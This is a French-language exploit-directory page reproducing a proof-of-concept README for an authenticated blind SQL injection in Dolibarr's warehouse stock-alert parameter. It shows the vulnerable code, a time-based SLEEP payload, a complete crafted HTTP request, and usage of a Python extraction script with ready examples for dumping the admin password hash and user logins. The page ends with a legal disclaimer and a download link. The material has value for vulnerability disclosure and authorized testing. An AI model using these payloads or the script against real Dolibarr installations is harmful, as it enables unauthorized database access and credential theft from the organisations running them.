Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — L'action responsable de la définition du seuil d'alerte de stock par entrepôt (`seuil_stock_alerte`) accepte une entrée contrôlée par l'utilisateur et l'incorpore ensuite dans une requête SQL sans cast numérique ni liaison de paramètres appropriés. #dolibarr #exploit | Kitploit
Outils/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
Analyse des VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebSécurité WebTests d'IntrusionSécurité des Bases de Données
GitHubrepo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

L'action responsable de la définition du seuil d'alerte de stock par entrepôt (`seuil_stock_alerte`) accepte une entrée contrôlée par l'utilisateur et l'incorpore ensuite dans une requête SQL sans cast numérique ni liaison de paramètres appropriés. #dolibarr #exploit

Voir le dépôt
il y a 18h 28mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Dolibarr — PoC d'injection SQL authentifiée

Injection SQL affectant la fonctionnalité de gestion du stock produit via le paramètre seuil_stock_alerte.

Versions affectées

Testé et confirmé sur :

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0 (Fonctionnait jusqu'au signalement.)

Paramètre vulnérable

seuil_stock_alerte

Le paramètre est accepté par :

root@kitploit:~
/product/stock/product.php

via l'action addlimitstockwarehouse.

Exploitation

Le paramètre est récupéré sans conversion numérique :

root@kitploit:~
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

Il atteint ensuite une requête SQL par concaténation directe de chaînes :

root@kitploit:~
$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

Comme la valeur est insérée dans un contexte numérique non quoté, une expression SQL peut être fournie à la place d'une valeur numérique classique.

Injection SQL aveugle basée sur le temps

Une expression booléenne/temporelle suffit à démontrer l'exécution :

root@kitploit:~
(SELECT IF((1=1),SLEEP(15),0))

Exemple de paramètre :

root@kitploit:~
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Une requête réussie produit un délai de réponse HTTP d'environ 15 secondes, confirmant l'évaluation de l'expression SQL injectée.

Requête vulnérable

L'action vulnérable peut être atteinte avec une requête authentifiée similaire à :

root@kitploit:~
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

Prérequis :

  • Session authentifiée valide
  • Jeton CSRF (extrait de la page de la fiche produit)
  • ID du produit
  • ID de l'entrepôt

Authentification et privilèges

Le problème a été reproduit avec un compte authentifié disposant uniquement de la permission :

root@kitploit:~
Product → Create (produit/creer)

— un compte à faibles privilèges pouvant créer des produits.

Impact

L'injection SQL permet :

  1. Injection SQL aveugle basée sur le temps — les requêtes peuvent être exécutées via des délais SLEEP
  2. Divulgation d'informations — le contenu de la base de données peut être exfiltré caractère par caractère
  3. Escalade de privilèges potentielle — extraction des identifiants admin ou de données sensibles
  4. Reconnaissance de la base de données — énumération du schéma via des méthodes basées sur les erreurs ou le temps

Les contraintes au niveau de la base de données sur ce système ont empêché l'exécution directe de commandes OS.

Outil d'exploitation

Le script PoC accompagnant stock_sqli_poc.py automatise le processus d'exploitation :

Utilisation

root@kitploit:~
python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

Fonctionnalités

  • Connexion automatique — s'authentifie auprès de la cible
  • Confirmation de l'injection — valide l'injection SQL avec des charges de test (1=1 vs 1=2)
  • Extraction par recherche binaire — extrait efficacement les données caractère par caractère via une comparaison ASCII
  • Prise en charge du proxy — s'intègre à Burp Suite ou à d'autres proxys HTTP
  • Délai configurable — ajuste la durée du SLEEP pour la fiabilité

Options de ligne de commande

OptionPar défautDescription
--urlhttp://127.0.0.1:8088URL de l'instance Dolibarr cible
--proxyhttp://127.0.0.1:8080Proxy HTTP (Burp, etc.). Définir sur une chaîne vide pour désactiver
--loginwebeditorNom d'utilisateur du compte à faibles privilèges
--passwordWebEdit0r!Mot de passe du compte
--product-id1ID du produit cible
--warehouse-id1ID de l'entrepôt cible
--delay1.0Durée du SLEEP en secondes pour la détection basée sur le temps
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)Expression SQL à exfiltrer
--length14Longueur maximale de caractères à extraire

Exemples d'extraction

Extraire le hash du mot de passe admin :

root@kitploit:~
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

Énumérer les utilisateurs :

root@kitploit:~
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

Version de la base de données :

root@kitploit:~
--extract "VERSION()"

Utilisateur actuel de la base de données :

root@kitploit:~
--extract "USER()"

⚠️ Avis juridique : N'utilisez cet exploit que contre des systèmes pour lesquels vous disposez d'une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. Ce PoC est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.

Télécharger l’outil